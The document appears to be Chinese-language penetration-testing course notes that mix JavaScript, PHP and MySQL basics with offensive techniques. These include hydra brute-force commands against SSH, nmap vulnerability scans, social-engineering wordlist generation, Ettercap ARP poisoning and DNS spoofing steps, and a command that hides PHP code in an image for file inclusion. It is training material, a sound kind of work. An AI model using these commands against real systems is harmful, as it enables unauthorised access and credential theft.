switch 语句 用于基于不同的条件来执行不同的语句体
swith (条件)
{
case 标准1:
语句体1
break;
case 标准2:
语句体2
break;
default: //使用default关键词来规定匹配不存在时要做的执行的操作
语句体
}
var day= new Date().getDate();//获取当前日期
var day= new Date().getDay();//获取当前星期
for(条件){
语句体;
}
条件:var i=0;i<10;i++
第一部分:在循环开始前执行
第二部分:执行循环的条件
第三部分:在循环结束后执行
while(条件){
语句体
}
var i=1,sum=0;
while(i<=100){
sum=sum+i;
i++;
}
sum=1+2+ +100=5050
do{
语句体
}
while(条件)
JS对象处理相关函数
var me="hello world!";
var len=me.length;//计算机字符串的长度
var x=me.toUpperCase();//将字符串转化为大写
var y=me.indexOf("o");//定位字符串中某一个指定的字符首次出现的位置
var z=me.replace("world","pentest");//在字符串中用某些字符替换另一些字符
var s=me.match("test");//查找字符串中特定的字符,并且如果找到的话,则返回这个字符。如果找不到返回Null
算数
Math.round(0.60);
Math.random();生成0到1之间的随机数
Math.round(Math.random()*10);
cookie的操作
cookie 是用户的浏览器和服务器之间进行会话认证的一个依据,有了cookie可以认为当前的用户已经登录该站点,并且在该站点中切换页面过程中不需要再次认证,发出去的数据包中会有cookie数据,服务器会认证该cookie,同该cookie(存放到用户的浏览器中)具有相同机制的另外一个会话管理方式是session(存放在服务器中)
查看cookie数据:
1、使用cookies manager、Web Developer插件
2、打开firebug,找到cookies,并启用
3、在URL输入框中输入:javascript:alert(this.document.cookie)
打开firebug,找到控制台,在其光标输入:alert(this.document.cookie)
JS操作Cookie
Banner信息收集
banner信息 欢迎语,在banner中可以获取到软件开发商、软件名称、软件版本、服务类型等等,如果我们知道某些服务的banner,可以直接去使用相对应的EXP(exploit)去攻击
banner信息的获取的基础是要和目标建立链接,只有建立链接才能获取到对应的banner信息
(目标可能对banner信息进行隐藏或者禁止读取)
方法1:nc(netcat )
nc -nv 192.168.11.228 21
-n 以数字形式显示IP
-v 详细信息
?*方法2:python 编程
方法3:dmitry(用来扫描服务器的一种软件,基于全链接的扫描方式)
dmitry -pb 192.168.11.228
方法4:nmap
nmap -sT -p1-200 --script=banner 192.168.11.100
方法5:amap
该命令是用来发现端口后面跑的是什么服务,其中 B 参数是专门用来获取 banner 信息的
amap -B 192.168.11.100 1-200
使用浏览器的插件获取目标服务器信息:
flagFox 显示国际、域名、IP、位置
Wappalyzer 分析目标网站的平台架构、网站环境、服务器配置环境、编程语言等等
用过BP的响应包查看服务器信息
Server: Apache/2.2.8 (Ubuntu) DAV/2
X-Powered-By: PHP/5.2.4-2ubuntu5.10
B/S (HTTP/s)
使用BP(设置代理--->拦截数据包--->将数据包发送到Intruder-->进行站点的爆破)
爆破的对象有单个和多个
爆破单个对象的过程中,需用的攻击方式为:Sinper,在payload中只需要加载simple list
爆破多个对象,需要选择的攻击方式是:Cluster Bomb,在payload中加多个simple list,同时注意加载payload的顺序
hydra 九头蛇 爆破工具 简单易上手
首先要进行信息收集
扫描目标机器上开启的服务类型,nmap
nmap 192.168.10.10
PORT STATE SERVICE
22/tcp open ssh (目标)
80/tcp open http
namp 192.168.10.7
PORT STATE SERVICE
21/tcp open ftp (目标)
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
3389/tcp open ms-wbt-server (目标)rdp
5357/tcp open wsdapi
49152/tcp open unknown
49153/tcp open unknown
49154/tcp open unknown
49155/tcp open unknown
49157/tcp open unknown
>hydra -L 用户字典 -P 密码字典 ssh://192.168.10.10
>hydra -L 用户字典 -P 密码字典 192.168.10.10 ssh
>hydra -l 用户名 -P 密码字典 ssh://192.168.10.10
>hydra -l 用户名 -P 密码字典 192.168.10.10 ssh
-v /-V 显示详细的爆破步骤信息
-vV
-o 导入到某个文件中
(16) -t 20 设置线程为20
(30s) -w 40 设置超时时间为40S
-C 使用冒号分割格式,例如“登录名:密码”来代替-L/-P参数
-e 使用空密码去探测
-S 使用SSL协议连接
-s 指定端口
hydra -l root -P 密码字典 192.168.10.10 -s 23 爆破指定端口
-f/-F 当爆破出来密码时,程序退出
美杜莎(medusa)
C/S
御剑目录扫描
DirBuster
用来扫描站点目录,寻找铭感文件(目录、探针、后台、robots.txt、备份文件)
目录:站点结构,权限控制不严格
探针:服务器的配置信息,信息泄露
后台:登录的页面
robots.txt:robots协议,该协议主要用来防止爬虫抓取我们的我们的站点信息,在网站的根目录放着robots.txt,里面写上哪些文件或者目录不许访问,如果管理员设置的规则不规范就容易造成信息泄露
备份文件:数据库备份、网站备份,有了备份文件,可以有针对性去攻击数据库和站点(白盒代码审计).bak 压缩包形式
远控:
控制端:运行在本地,使用的软件就是控制端,监听的端口是2019
被控制端:需要生成,运行在肉鸡上
框架
http://www.baidu.com/index.php?parameter1=123¶meter2=456
客户端提交数据的方式:get post
get 方式
提交的参数拼接到URL中去传输,所有的参数可见,提交数据的容量是有限的,不安全的
GET /DVWA-1.9/vulnerabilities/sqli/index.php?id=1&Submit=Submit&user_token=41b76347bec45ac7efcee4c85503c6f3 HTTP/1.1
//请求包中第一行中有请求方式 请求的页面(参数) 协议版本
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/DVWA-1.9/vulnerabilities/sqli/?id=1&Submit=Submit&user_token=77352e6d05fd4ae966be81c2d32ef37a
Cookie: security=impossible; PHPSESSID=875ahlcb2kckrg69u7qvq5rg36
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
post 方式
提交的参数数据不直接放在URL中,而是放在请求包中请求内容中,提交数据的容量较大,安全性比GET方式高
POST /DVWA-1.9/vulnerabilities/brute/ HTTP/1.1
//请求包中第一行有请求方式 请求的页面(没有参数)
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/DVWA-1.9/vulnerabilities/brute/
Cookie: security=impossible; PHPSESSID=875ahlcb2kckrg69u7qvq5rg36
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 80
(必须有空格)
username=de&password=123&Login=Login&user_token=92de6b9fdbff54788d34d424e6aa6015
(请求的数据在请求内容中,每个参数使用&隔开)
username password Login user_token 这些名字怎么来的?
这些参数对应的名称都是前端的form表单中的input输入框的name值
nmap (network mapper)最早是linux中扫描和嗅探工具,网络连接端扫描工具,主要探测机器上的开启的服务、安全性问题、主机存活等等
基本功能:
探测机器存活情况;(是否开机)
扫端口;(服务)
扫描目前机器系统类型;(OS类型:nt/linux)
扫描目前机器上的安全漏洞(高级用法)
namp的安装、配置环境变量
nmap的用法:(命令行模式)
nmap -h
nmap [扫描类型] [选项][目标]
nmap 192.168.1.100 对单个目标机器进行扫描
Nmap scan report for 192.168.11.1
Host is up (1.3s latency).
Not shown: 998 closed ports
PORT STATE SERVICE
80/tcp open http
514/tcp filtered shell
端口状态:
open
closed
filtered 被过滤的,探测包被拦截,无法定位该端口是否开启
unfiltered 未过滤的,探测包没有被拦截,但是nmap还是无法判断该端口是否开启
open|filtered 开放或者被过滤的
closed|filtered 关闭或者被过滤
nmap 192.168.1.0/24 扫描整个网段
nmap 192.179.1.1-200 扫描1-200之间的主机
nmap 192.167.1.1,2,7-40 扫描1,2和7到40的主机
namp 192.168.1.0/24 10.10.10.1-200 多网段扫描
nmap -iL filename(扫描目标文件)
-iR 随机选择目标
eg:nmap -sS -PS80 -iR 0(无休止去扫描) -p80
nmap 192.168.1.0/24 --exclede 192.168.1.1,255,4-10
--exclude 排除主机/网络
nmap -iL scan_file(要扫的目标) --excludefile noscan_file(不需要扫)
带有参数的扫描
nmap -sT 192.168.1.1 使用-sT实现TCP全连接扫描,扫描过程中有三次握手 建立连接 则表明端口开放 扫描速度慢
nmap -sS 192.168.1.1 使用syn的数据包去探测,如果收到ACK,则说明端口开放
nmap -sN -p- 192.168.1.1 NULL扫描,不设置任何控制位
-p 端口 -p-所有端口
-p20,21,22,23,25,45,80,8080,3306
namp -sV 192.168.1.1 探测服务的版本
nmap 192.168.1.1 >./result.txt
nmap 192.168.1.1 -oX result.html
nmap -A 192.168.1.1 所有扫描结果的详细信息 全面扫描
nmap -O 192.168.1.1 显示操作系统信息
--script 使用脚本探测漏洞
nmap --script 脚本名称 目标
在nmap的安装路径中有 /scripts/ 在该目录中存放nmap的脚本
nmap --script smb-vuln-ms17-010 192.168.10.10 永痕之蓝
nmap --script smb-check-vulns 192.168.10.10 MS08-067(SMB溢出漏洞)
namp --script ssl-heartbleed 192.168.10.10
心脏滴血
*************************************************
域环境
网络工作模式:
工作组(workgroup):安装系统之后默认的网络工作模式是工作组,systeminfo/计算机属性 可以查看当前的工作模式 。当网络模式为工作组时,整个网络以及资源是相互独立的,没有统一管理者,适用中小型企业
域环境:将网络中多台计算机逻辑上组织在一起,进行集中管理,区别于工作组的逻辑环境,域是组织和存储资源的核心管理单元,在域环境中有统一的管理者,该管理者叫做域控,这种工作模式适用中大型企业
域控:加入了域环境且安装的活动目录(AD)的计算机
成员服务器:加入了域且提供了某种服务的计算机
独立服务器:选择的工作模式是工作组且提供了某种服务的计算机
域控制的配置条件:
1、操作者必须是管理员;
2、操作系统版本要求:
Windows server 2003 企业版 专业版 (WEB除外)(DNS和AD可以分配到不同的系统上安装)
Windows server 2008 企业版 专业版 数据中心版 (WEB除外)(DNS和AD必须安装在同台机器上)
3、安装AD(active directory)的存储空间必须是NTFS格式
win: FAT16 FAT32 NTFS
linux: ext xfs
4、磁盘空间容量足够大
5、内存:
真实服务器:32G
虚拟机:1G
6、必须配置静态IP
安装域控制器步骤:
1、配置静态IP
2、安装DNS
3、安装活动目录 :dcpromo
域功能级别:
域功能级别 支持的域控制器
Windows 2000 Windows 2000/Windows server 2003/Windows server 2008
Windows server 2003 Windows server 2003/Windows server 2008
Windows server 2008 Windows server 2008
客户端加入域:
1、IP地址可以静态可以动态
2、首选DNS必须指向DNS服务器
3、计算机--属性--更改--域--域名---确定 --重启
pydictor 强大的密码生成工具,使用python开发,跨平台,可以使用=2.7 3.4>=运行该脚本
功能:
1、合并字典
python pydictor.py -tool combiner ./dict/ -o com.txt
2、词频统计
python pydictor.py -tool counter vs com.txt 2
3、去重
python pydictor.py -tool uniqifer com.txt -o uniq.txt
4、枚举数字字典
python pydictor.py -base d --len 4 4 -o code.txt
生成用户名字典
python pydictor.py -base L --len 2 6 -o name.txt
5、生成社工字典(弱口令+社工信息+规则)
info.txt 社工信息
python pydictor.py -extend info.txt --len 4 20 --level 3 -o ./info_secret.txt
info.txt{
pentest
pentest
11111111111
2222222222
cream
303
}
6、生成MD5加密的字典
python pydictor.py -extend info.txt --len 4 20 --level 3 --encode md5 -o ./info_secret2.txt
7、生成纯社工密码(社工信息)
python pydictor.py --sedb
set 去设置社工信息
show 查看设置的参数
run 执行
Cupper 针对国人生成社工密码的工具
使用python开发,主要使用2版本运行
-i 进入交互式窗口
密码学
密码编码学(研究密码算法)
密码分析学(研究破译密码)CTF
密码算法:
对称密码算法(单钥密码算法)
加解密的密码只有一个(一把钥匙开一把锁)
AES DES 3DES等等
其安全性依赖于密码的安全性
用处:加解密数据
非对称密码算法(公钥密码算法)
加解密的密码不同,加密使用密码K1,解密使用密码K2,且K1!=K2
RSA(大素数分解困难性问题) ECC(椭圆曲线) ElGamel(离散对数)等等
其安全性依赖于某些困难性问题
用处:加解密数据、验证身份(数字签名)
哈希函数、哈希算法(单向散列函数)
MD5 32
sha1 40
MD5(A)=B
B!->A(碰撞)
在线查询某些哈希值的明文的方式:彩虹表攻击方法
编码方式:
URL编码: key:value
DNS欺骗
Ettercap运行在linux中,其功能有嗅探、ARP欺骗、DSN劫持、中间人攻击等等,是一款强大的安全测试工具
route -n
netstat -rn
查看网关
step 1:在kali中搭建WEB服务器(攻击者搭建,该站点负责攻击用户)
step 2:打开Ettercap的DNS文件,/etc/ettercap/etter.dns
添加欺骗的A 记录和PTR记录
step 3:kali中输入ettercap -G 进入该工具的图形化界面
sniff-->unified sniffing-->选择网口-->Hosts-->Scan for hosts-->host list
选择网关 添加到target1
选择欺骗的IP 添加到target2
Mitm-->ARP poisoning-->勾选Sniff remote connections-->Plugins-->Manage the plugins-->选择dns-spoof-->最后在菜单栏中找到start-->start sniffing
step 4:目标机器测试访问,看效果
DNS欺骗原理
在我target1选网关、target2不选的情况下,初始被攻击机访问任何符合www.*.com的地址都会跳转到攻击页,附加的被攻击机出现两种情况,访问www.baidu.com会报错无法显示该页,访问其他页面会跳转攻击页(所有被攻击机都在访问前用ipconfig /flushdns和清除浏览器缓存的方式清除过)
收索引擎:利用一些规则、策略等在计算机程序的帮助下从互联网搜索信息,然后对这些信息进行整理、组织,方便用户检索信息的一种系统
分类:
全文搜索引擎:从网站中提取信息建立网页数据库,Google,全面,
目录搜索引擎:分类去搜索网站中信息,百度
Google hacking (借组于Google强大的搜索引擎去进行信息收集、目标探测、踩点等工作,极大提高黑客的渗透测试工作)
语法:
index of:直接进入到网站首页下的所有的文件和文件夹中
intext:查询网页正文中包含关键词的网站
intitle:返回网站标题中含有关键词的网站
cache:搜索google里关于某些内容的缓存
define:查询某些词语的定义
filetype:搜索指定类型的文件:doc pdf bak zip mdb inc config.inc
info:查找指定站点的信息
inurl:在URL中寻找我们指定的关键信息 inurl:admin.php login.php
link:返回所有和目标做了链接的URL
site:返回和目标有关(子域名)的所有url
+ 扩大收缩范围
- 忽略某些关键词
~ 同意词
. 单一的通配符 admi..php
* 多个字符的通配符 admin*php
"" 精准匹配
PHP
它是嵌入到HTML页面的中的脚本语言
目前最为流行的开发语言
跨平台
目前好多企业在使用PHP作为开发语言
学习PHP的过程中,推荐大家使用的编译器有Phpcharm(phpstorm)、Sublime、VS code、Notepad++、vim等等
先创建以php(php5、php6、php7)结尾的文件,开始写代码
开始:<?php
代码块
结束: ?>(可以不要)
php代码可以写在HTML代码中
当前行代码写完之后一定要写上;
配置sublime的php编译系统:
step 1:工具-->编译系统-->新建编译系统
step 2: 删除原理的内容,输入如下的代码:
{
"cmd":["php","$file"],"file_regex":
"php$","selector":"source.php"
}
保存,命名为php.sublime-build
注意:需要配置PHP的环境变量
ctrl+b 编译代码
echo 打印
phpinfo();php函数,用来显示当前环境设置
定义变量使用 $变量名
var_dump();用来判断参数的类型
创建的PHP文件中可以写HTML代码
// 单行注释
/**/ 多行注释
sublime中注释方法:shift+ctrl+/
phpstorm中的注释方式:
单行:ctrl+/
多行:shift+ctrl+/
变量:
以$符号开始后跟变量名
变量名必须以字母或者下划线开始 _test
变量名中只能使用字母 数字以及下划线
不能有空格
区分大小写
php弱类型语言,在使用或者申明变量的时候必须指明其数据类型,先申明后使用
php打印
echo 输出一个或者多个字符串,无返回值
print 只允许输出一个字符串,返回值1
echo 打印速度比print快
echo() /echo 其打印的字符串中可以包含html代码
print() /print
PHP EOF(heredoc)
它是一种命令行shell(sh、zsh、powershell等)和程序语言(PHP、Pthon、Ruby等)里定义的一个字符串的方法
使用注意事项:
1、必须使用分号
2、EOF 可以使用任何字符替换,但是要保证结束字符和开始字符一致,最好使用大写字母
3、结束标识必须独占一行,必须顶头写
4、在内容中加引号是,不要加转义符号,其内部默认会对该引号进行转义
数据类型
string
""或者''中的内容
int
整数必须是[0,9]中的一个或者多个数字
整数里没有逗号 和 空格 没有小数
整数有正负之分
格式有三种:十进制、十六进制(0x前缀)、八进制(0前缀)
float
带小数的数字或者指数形式
2.4e6 5E-10
bool
是ture和false
array
$arry=array("pentest",2e-8,123,flase)
object
对象必须先申明,必须使用class关键词去申明类对象,该类中有属性和方法,使用该类时,需要实例化(new) ,然后去使用其中的属性或者调用其中的方法
null
表示变量没有值,可以使用null清空数据
常量
常量被定义之后,不可被修改,在整个代码中它的值保持不变
常量的名字由英文字母、下划线和数字组成,数字不能开头,不需要$
使用define() 结构
define(name,value)
注意:define返回值布尔 name是string value的类型不定
define(name,value,true)
表示在后期使用name常量的过程中,name 可以忽略大小写
系统自带常量
__FILE__:php程序文件名(绝对路径)
__DIR__:显示被调用文件的目录
__FUNCTION__:函数名
__LINE__:代码行数
PHP_VERSION:解析器的版本
PHP_OS:操作系统名称
定义的常量是全局变量 (对比局部变量)
全局变量:在当前代码中任意位置都可以使用该常量
字符串
$str="string";
echo $str;
字符串的连接使用 .
stelen(字符串)获取长度
strpos(string1,string2)在string1中寻找string2,找到返回其位置,如没有找到,返回false
运算符:
算术运算符:
+ - * / % .
赋值运算符:
= += -+ *= /= %= .=
自增 自减
i++ 返回值是i,后i+1
i-- 返回值是i,后i-1
++i 返回i+1
--i 返回i-1
比较运算符
==
===
!=
<>不等于
!== 绝对不等于
>
<
>=
<=
逻辑运算符
&& and
|| or
! 非
xor 异或 a xor b 如果 a和b有且仅有一个为true,返回值为true
1 xor 2 false
0 xor 1 ture
三元运算:
条件?语句1:语句2
条件为真 执行语句1
PHP中的数组运算符
数组的定义格式有两种:
array("pentest",2e-8,123,false);通过下标/索引的方式去使用数组中值
array('key1' =>123 ,'key2'=>"string",'key3'=>true,3=>123 );通过字符串/数字的key调用数组中值
针对数组
A+B 合并数组
A==B 相等 如果两个数组相等(具有相同的键值对),返回ture
A===B 恒等 如果两个数组具有相同的键值对,且数据类型 大小 都一样 ,返回ture
A!=B 不等于 A<>B
A!==B 不恒等于
条件判断
if(条件) {
语句体
}
if(条件){
语句体1
} else{
语句体2
}
if (条件1){
语句体1
}
elseif(条件2){
语句体2
}
else{
语句体N
}
switch(变量){
case "value1":
语句体1;
break;
case "value2":
语句体2;
break;
default:
语句体N
}
数组(详细讲解其操作)
数组的类型:
数值型数组 $a1=array("1",2e7,true)
$a1[1]=2e7
关联型数组 $a2=array("name"=>"pentest","age"=>30)
$a2["age"]=30
多维数组 $a3=array($a1,$a2) 包含一个或者多个数组的数组
统计数组的长度
count()
遍历数组 需要使用for循环
遍历数值型数组
for(定义的变量;条件;变量的处理方式<自增/自减>){
语句体;
}
$a=array("1",2e7,true)
for($i=0;$i<count($a);$i++){
echo $a[$i];
echo "<br>";
}
遍历关联型数组
foreach(条件){
语句体
}
数组排序
sort() 数值型数组升序
rsort() 数值型数组降序
asort() 根据关联型数组的值 升序排列
ksort() 根据关联型数组的键 升序排列
arsort() 根据关联型数组的值 降序排列
krsort() 根据关联型数组的键 降序排列
变量($开头,自定义的/系统自带)
全局变量(在整个页面均可使用,其值不会更改)
PHP超级全局变量:
$GLOBALS 操作全局变量数组
*********************************************
$_SERVER 包含了请求数据包的头部信息、路径等 数组
$_GET 包含用户以GET方式的过来的数据包 数组
$_POST 包含用户以POST方式过来的数据包的 数组
$_COOKIE 包含了用户cookie数据的 数组
$_FILES 包含用户上传文件的信息的数组
********************************************
循环
while(条件){
语句体
}
do{
语句体
}
while(条件)
for(初始值;条件;增量){
语句体
}
foreach($array as $key=>$value)
{
echo $key."is ".$value;
}
foreach($array as $value){
echo $value."<br>";
}
函数 将我们要执行的代码封装在一起,使用函数称谓
function 函数名(参数1,参数2){
执行的代码
}
函数名的定义规范:
1、望文知意
2、函数名以字母下划线开头(不能以数字开头)
面向对象编程(OOP)
对象:它是信息和信息描述组合成的整体,它是对现实世界的一种抽象
三个特征:
行为 可以做什么事情
形态 对象的特征 属性 外在特点 等等
表示 可以理解为对象的“身份证” 具体区分为在相同的行为和状态下有哪些不同点
面向对象内容:
类:把具有相同特征 相同特点 的事物归为一类,定义了一件事物的抽象特点,在一类中的事物具有相同属性和行为等
人类{ 五官 手 脚 走路 哭 笑 }
对象:是类的实例 小明 王麻子
成员函数:定义在类中,用于访问对象的数据(执行什么动作)
成员属性:定义在类中,表示类具有哪些特征 (具有哪些属性)
类的定义
class 类名 {
}
其中类的变量使用 var 去申明,变量可以初始化赋值
如何使用类?
需要对类进行实例化,创建对象 $实例化名 = new 类名;
使用类中成员属性和成员函数需要使用 ->
构造函数
含义:这是一种特殊的方法,用于创建对象时初始化对象,为对象成员变量赋初始值,在创建对象的语句中和new运算符一起使用
格式
function __construct(参数){}
实例化 $实例名=new 类名(参数个数和构造函数的参数保持一致)
表单处理(非常重要)
php代码中汉字乱码解决方法:
1、echo "<meta charset='utf-8'>";
2、header("Content-Type:text/html;charset=utf-8")
isset() 判断其中的内容是否有值,如果有,则返回1
is_array() 判断参数是否为数组,如果是,则返回1
$和$$的区别
$var 这是一个正常的变量,可以存储任何值(string/int/float等等)
$$var 这是一个引用变量,存储 $var 的值
$$$var 存储$$var的值
表单验证(验证表单中的数据是否为空以及提交的数据是否合法)
htmlspecialchars()//该函数将预定义的字符转化为HTML实体
预定义的字符有:
& &
" "
' '
< <
> >
实体化之后在浏览器中显示的代码和之前的代码一样,不会被浏览器解析
<img src="#/"> 能够被浏览器解析
<img src=#/> 不能被浏览器解析
trim() 去除数据中的空格、tab 、换行
stripslashes() 该函数用来去除数据中的反斜杠(\)
表单:
姓名 不能为空
邮箱 不能为空,邮箱格式符合要求 @
个人博客
$_SERVER['REQUEST_METHOD'] 用户的提交方式
文件操作
通过PHP去操作文件,创建文件、打开文件、读取文件、写文件、追加文件、删除文件、关闭文件
打开文件:fopen()
fopen("打开文件的位置",打开文件方式)
打开方式:
r 只以读的方式去打开
r+ 读和写
w 只以写的方式打开,如果文件不存在,则创建文件
w+ 读和写,如果不存在,则创建
a 文件末尾追加,如文件不存在,则创建文件
a+ 读和追加,如文件不存在,则创建文件
x 只写,创建新文件,如文件已存在,返回false和错误
x+ 读和写,创建新文件,如文件已存在,返回false和错误
c
c+
打开文件的路径:绝对路径、相对路径
fclose()关闭文件,操作完文档,最好使用该函数去关闭文件
$file=fopen("test.txt","w+");
//操作
fclose($file);
fread(打开的文件,"读取文件大小") 读取文件
fgets() 用于从文件中读取单行数据内容
fgetc() 用于从文件中读取单个字符
feof() 检测是否到达文件末尾,没有到达末尾 其返回值是false
filesize(文件名)统计文件大小
fwrite()将字符串写入文件,默认情况下不会覆盖去写
$file=fopen("test.txt","r");
fwrite($file,"string");
fwrite($file,"123")
fclose($file)
w 会覆盖
r+ 会覆盖
a 不会覆盖 追加
a+ 不会覆盖 追加
unlink() 删除文件
unlink("data.txt")
文件上传和下载
$_FILES
echo $_FILES['file']['name']."<br>"; //返回文件的名称
echo $_FILES["file"]["size"]."<br>";//返回文件大小
echo $_FILES["file"]["type"]."<br>";//返回文件类型
echo $_FILES["file"]["tmp_name"]."<br>";//返回文件存储在服务器中临时文件名
echo $_FILES["file"]["error"]."<br>";//返回报错信息,如果没有异常,返回0
move_uploaded_file( $_FILES["file"]["tmp_name"],"up/".$_FILES['file']['name']);//保存上传文件
第一个参数是:临时文件
第二个参数是:文件存放的路劲(使用相对)+文件名
<from action="" method="post/get" enctype=></from>
enctype 该属性规定提交表单中要使用哪些内容类型(使用哪一些打开方式去打开文件)
enctype="multipart/form-data"
readfile()内置函数实现文件下载,读取文件并读取内容存放在输出缓冲区 I/O
int readfile(文件名)
(文件下载,晚上作业)
PHP会话管理:
cookie和session区别
都是用来表示会话状态,cookie是存储在客户端的浏览器中,session存放在服务器中
php中操作:setcookie()函数设置cookie数据,通过$_COOKIE超全局变量访问
setcookie("cookie的名字","cookie的值",timeout)
echo $_COOKIE['cookie的值'] 取cookie的值
setcookie("authenticate_id","",time()-3600); //删除cookie
session
用于临时存储和从一个页面传递信息到另外一个页面
session_start()通过该函数启动会话,如果会话已经存在,直接返回现有值,如果没有,则创建并返回新会话值
一般情况下,要启用session功能,一定要将session_start() 写在页面的开始处
文件包含:通过特定的函数将一些代码包含过来,使用其中变量、函数等
copy tu.jpg/b+test.txt/a evil.jpg
文件包含功能,只要包含过来的文件中有PHP代码(严格按照语法规范来写),不管其文件类型,均被服务器所解析
include
include_once
功能基本一样,后者只需要包含一次即可,这两个函数在包含过程中,如果找不到文件会警告,后续的代码会继续执行
requare
requare_once
功能基本一样,后者只需要包含一次即可,这两个函数在包含过程中,如果找不到文件会报错,后续代码终止执行
命令执行
通过命令执行函数去和系统内核交互,执行系统命令
system()
exec()
shell_exec()
passthru()
` `
等等
代码执行 通过某些代码执行函数解析string代码
eval()
assert()
preg_replace()
说明:代码执行和命令执行之所以能够达到我们的目的,是因为我们给这些函数1传递了string参数,最终代码执行了 命令执行了 ,2参数在传递过程中没有设置拦截或者拦截效果不佳
************************************************************
正则
preg_match() PHP中用来执行匹配正则表达式
用法:preg_match("要匹配的正则或者字符串","被匹配的字符串"),其返回值是布尔,只要匹配一个符合条件的就结束
preg_match_all() 将字符串从头检查到末尾,不论是否找到匹配
preg_match_all("正则表达式","要检测的字符串","数组") ,其中数组用来存储输出的匹配的结果
正则表达式:
文本模式,包含普通字符(a-z A-Z 0-9)和特殊字符(/ \ *^ ?),使用这一串表达式去帮助我们匹配我们需要的结果,其功能比较强大,提高某方面(日志分析、数据清理、代码分析等)操作的效率
var string="abc123def";
var parr=/[0-9]+/;
document.write(string.match(parr));
通配符:
? 匹配0个或1个字符
* 匹配0个或者多个字符
正则语法:
普通字符:
可打印字符(a-z A-Z 0-9)+不可打印字符
\n 换行
\r 回车
\f 换页
\s 任意空白字符(空格、制表符、换页符等)
\S 非空白字符
\t 制表符
\v 垂直制表符
特殊字符:(元字符)
$ 匹配输入字符串的结尾位置
() 在其中写入子表达式,并且有开始和结束
* 匹配前面的子表达式0次或者多次
+ 匹配前面的子表达式1次或者多次
? 匹配前面的字表达式0次或者1次
. 匹配除了\n以外所有单个字符
^ 匹配输入字符串的开始位置
[ 标记一个中括号开始的表达式
\ 用来转义,将其后的字符标记或者转换为特殊字符或者取其原义字符
{ 限定字符表达式的开始
| 指定两项之间的一个选择
! 取反操作
常见元字符的使用说明
一般字符 匹配自己 abc abc
. 匹配除了\n以外所有单个字符 a.c abc a1c a\fc
\ 转义 a\.c a.c
a\\c a\c
[] 存放集合,取其中一个 a[0-9]c a1c
[^] 存放集合,取集合以外的一个字符 a[^0-9]c aac abc
[-] 存放集合,偷懒的 1[a-z]9 1a9
\d 数字[0-9] a\dc=a[0-9]c a0c a9c
\D 非数字 [^0-9] [^\d] a\Dc abc a\fc
\s 空白字符(空格 \t \r \n \f \v ) a\sb a b
\S 非空白字符[^\s] a\Sb a@b
\w 单词字符[0-9a-zA-Z_] a\wb aab a0b a_b
\W 非单词字符[^\w] a\Wb a b a\nb
* 匹配前面的一个字符0次或者多次 ab* a ab abbbbb
+ 匹配前面的一个字符1次或者多次 ab+ ab abbbb abbbbbbbb
? 匹配前面的一个字符0次或者1次 ac? a ac
{m} 匹配前面的一个字符m次 ab{2} abbb (ab){2} ababab
{n,m} 匹配前面的一个字符n次至m次 ab{2,3} abbb abbbb
{n,} 至少匹配n次 a{2,}b aaab aaaab
^ 匹配开头 ^a abc a abc123
$ 匹配结尾 ab$ ab 123ab \f\nab
\A 仅仅匹配开头 \Aabc abc
\Z 仅仅匹配结尾 ab\Z ab
| 左右选择一个 a|b a b
() 将括号里的表达式作为整体 分组 (123){2} 123123
$name=$_POST['name']; ab123c
if (!preg_match("/^[a-zA-Z ]*$/",$name))
{
$nameErr = "只允许字母和空格";
}
$email=$_POST["mail"];
if (!preg_match("/([\w\-]+\@[\w\-]+\.[\w\-]+)/ ",$email))
{
$emailErr = "非法邮箱格式"
}
\b(?:(?:https?|ftp): \/\/ |www\.) [-a-z0-9+&@#\/%?=~_|!:,.;]*
[- a-z 0-9 + & @ # \ / % = ~ _ | ]
\b开头
(?:...) (...)的不分组版本,使用| 或者后接数字 (?:http){2} httphttp
(?:https?|ftp) 匹配https http 或者ftp
. . .
(25[0-5]|2[0-4]\d|((1\d{2})|([1-9]?\d))) \.){3}(25[0-5]|2[0-4]\d|((1\d{2})|([1-9]?\d))
使用正则判断文件格式格式是否是gif png gif jpg jpeg ,如果是则返回ture
$filetype="png";
/(gif|png|jpg|jpeg)/i
数据库
MYSQL数据库:轻量级开源数据库,适用于中小型企业,性能较好
MSSQL数据库:微软开发,安装Windows server上,适用于中大型企业,不支持扩平台
Oracle数据库:收费,适用于大型企业,跨平台,需要良好硬件配置作为支撑
Accesss数据库:小巧方便,使用小型企业和较小的业务需求
框架组合:
mysql+php
mssql+asp/aspx
Oracle+java
access+asp
数据库模型:
关系型数据库:(结构化数据库)mysql/mssql/oracle/db2等等
非关系型数据库:(非结构化数据库)redis/mongodb/Nosql/postgresql/Hbase/等等
mysql的环境变量配置
DOS页面登录mysql:mysql -uroot -proot(-u表示用户 -p表示密码 该p参数可以不写)
管理MYSQL数据库的方式:
DOS-mysql交互式窗口
phpmyadmin 基于网页的数据库管理平台
mysql-front 开源的数据库管理平台
Navicat 收费 功能强大的数据库管理工具
mysql--->3306
mssql--->1433
打开数据库管理器:数据库名-->数据库表名-->表头(字段名)--->数据内容
表中有几个字段就有几列数据
一行数据 称为记录
mysql基础命令:
mysql -uroot -proot 终端登录数据库
show databases; 查看所有数据库
use dvwa; 使用数据库
show tables; 查看所有数据表
select * from users;从users数据表中查看所有的数据内容(字段名+数据内容)
select 查看
* 表示所有的字段
from users 从users表中进行某项操作!!!
select version(); 查看数据版本
mysql数据库的账号信息存储在mysql 库的users表中
修改密码(明天继续说!!!!!)
***知道原来root密码****
进入数据库中去修改
低版本(5.x)
update mysql.user set password=password('新密码') where user='root' and host='127.0.0.1';
flush privileges; //刷新数据库
高版本
use mysql;
ALTER USER "root"@"localhost" IDENTIFIED BY "你的新密码";//更改数据库密码
